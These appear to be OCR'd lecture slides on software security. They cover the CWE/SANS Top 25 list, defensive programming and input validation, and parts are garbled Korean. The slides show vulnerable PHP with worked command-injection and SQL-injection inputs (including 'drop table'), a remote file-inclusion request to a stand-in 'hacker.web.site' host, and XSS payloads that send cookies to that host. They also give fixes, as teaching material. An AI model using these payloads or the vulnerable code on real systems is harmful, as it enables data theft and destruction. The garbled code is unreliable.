Chap. 11
Software Security
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Secure programs

B Security implies some degree of trust that the program enforces
expected

= confidentiality,
= integrity
= availability.
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Secure programs

B Why is it so hard to write secure programs?

B Axiom (Murphy):
= Programs have bugs

B Corollary:
= Security-relevant programs have security bugs
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Software Security Issues
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CWE/SANS Top 25 Most Dangerous Software Errors

Software Error Category: Insecure Interaction Between Components

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection’)

Improper Neutralization of Special Elements used in an OS Command ('OS Command
Injection’)

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting’)

Unrestricted Upload of File with Dangerous Type

Cross-Site Request Forgery (CSRF)

URL Redirection to Untrusted Site ('Open Redirect’)

Software Error Category: Risky Resource Management

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal’)

Download of Code Without Integrity Check

Inclusion of Functionality from Untrusted Control Sphere

Use of Potentially Dangerous Function

Incorrect Calculation of Buffer Size

Uncontrolled Format String

Integer Overflow or Wraparound
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Software Error Category: Porous Defenses

Missing Authentication for Critical Function

Missing Authorization

Use of Hard-coded Credentials

Missing Encryption of Sensitive Data

Reliance on Untrusted Inputs in a Security Decision
Execution with Unnecessary Privileges

Incorrect Authorization

Incorrect Permission Assignment for Critical Resource
Use of a Broken or Risky Cryptographic Algorithm
Improper Restriction of Excessive Authentication Attempts
Use of a One-Way Hash without a Salt
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Secure Programs
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- Managers
- Developers
- Technicians

- Clients
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How & was supported

Software Quality and Reliability
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= random, unanticipated input
= System interaction
= use of incorrect code
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Software Security
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Secure programs
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Defensive Programming
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Abstract Program Model

Computer System

executing algorithm,
processing input data,

Network Link
.

generating output
GUI Display

Keyboard
& Mouse

File System
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Operating System Database

Machine Hardware
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Defensive Programming
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Security by Design
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Handling Program Input
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Input Size & Buffer Overflow
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Interpretation of Program Input
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Injection Attacks
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Command Injection Attack - Unsafe PHP Script

B PHP script : "finger.php"

<html>

<body>

<hl>Finger User</hl>
<pre>

<2?php

$user = $_POST["user"];
echo "USER : Suser<br>";
system("/usr/bin/finger -s Suser");
>

</pre>

</body>

</html>
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B HTML &= =: "finger.htm"
<html>
<head><title>Finger User</title></head>
<body>
<h1>Finger User</hl>
<form method=post action="finger.php">
<b>Username to finger</b>: <input type=text name=user value="">
<p><input type=submit value="Finger User">
</form>
</body>
</html>
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Finger User

Username to finger

Finger User
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Finger User

USER : gdhong

Login Hame Tty Idle Login Time Office Office Phone
Bdhong gil-dong hong pts/2 ® Jun 14 29:07 (165.132.221.149)
ral . . .
B 22 2 &: gdhong; echo attack; Is
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Finger User

USER : gdhong: echo attack: Is

Safety Extension to PHP script
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<html>

<body>

<hl>Finger User</hl>

<pre>

<?php

$user = $_POST["user"];

echo "USER : $Suser<br>";

if (preg_match('/~[\d\w]+$/', Suser)) {
echo "valid user name<br>";
system("/usr/bin/finger -s S$user");

Login Name Tty Idle Login Time Office Office Phone
gdhong gil-dong hong  pts/2 + Jun 14 09:07 (165.132.221.148) }
attack »
:miiﬁﬂ. </pre>
finger.php </body>
</html>
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SQL Injection Attack
B ARE X} 0| G| O|Ef 1| O] A0f Cie SQL R Fol| A k= 422 m oA S ALEA Y E S ARESHY| Tof HA
54 » PHP= mysql_real_escape_string() &4 A&
= 54 80| command injectiondt S ALE
§ = §_REQUEST[' 2
u AI‘%X OI:’ F_B|0” shell meta_E_XI- I:HlA_IO'” SQL meta_E_Xl' Al"g' $;ua::y = :SEE.IQ?CT 1 m i:lppl:i.ers WHERE name = '" .
mysqgl_real escape_string($name) . "';”
Sname = $_REQUEST['name’]j Sxesultis mysul auery (SaueTY)y
$query = “SELECT * FROM suppliers WHERE name = '* . $name . "';*
it = 1 S
$result = mysql_guery($query); (b) Safer PHP code
(a) Vulnerable PHP code
m 92 of
= AP QI Bob
SELECT * FROM suppliers WHERE name = 'Bob’;
= 524 2 2: Bob'; drop table suppliers
SELECT * FROM suppliers WHERE name = 'Bob' drop table
suppliers';
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Code Injection Attack Code Injection Attack
B include HHO{Of inputOf| A O Tl g2 ZLASI A8 -S54 7t
= PHP remote code injection vulnerability
= PHP file inclusion vulnerability

B defenses:
» formfield gf2 MAHO| SHSH=
7+ 0

o
» include/require commands =gt Bt At S

<?php
include |$path| . "functions.php”;
include |$path| . “"data/prefs.php”;

(a) Vulnerable PHP code

GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=Is

(b) HTTP exploit request

B PHP CGlI scripts are vulnerable and are being actively exploited
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Cross Site Scripting (XSS) Attacks XSS reflection vulnerability
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Validating Input Syntax
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XSS Example

Thanks for this information, its great!
<script>document. location="http://hacker.web.site/cookie.cgi?"+
document.cookie</script>

(a) Plain XSS example

Thanks for this information, its great!
&#60;&#115;&#99; &#114;&#105;&#112;&#116;&#62;
&#100;&#111;&#99;8&#117 ;&#109;8&#101;&#110;&#116;
&#46;8&#108; 8#111;&#99;&#97 ; &#116;&#105;&#111;
&#110;&#61 ;&#39; &#104;&#116;&#116;&#112;&#58;
QHAT ; &HAT ; &#104 ; &#97 ; &#99 ; &#107 ; &#101 ; &#114 ;
&#46;&#119;&#101 ; &#98 ; &#46 ; &#115; &#105;&#116;
&#101; &#AT ; &#99; &#111;&#111;&#107 ;&#105;&#101 ;
&#46;&#99;&#103; &#105; &#63; &#39; &#43;&#100;
&#111;8#99;&#117 ;8#109;&#101;&#110;&#116;&#46;
&#99;&#111;&#111;&#107 ;&#105;&#101;&#60;&H#4T ;
&#115;8#99;&#114;8#105;&#112;8#116;&#62;

(b) Encoded XSS example
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Alternate Encodings
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= Unicode
= uses 16-bit value for characters
=« UTF-8 encodes as 1-4 byte sequences
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Validating Numeric Input
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= 8, 16, 32, 64-bit integers
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Input Fuzzing
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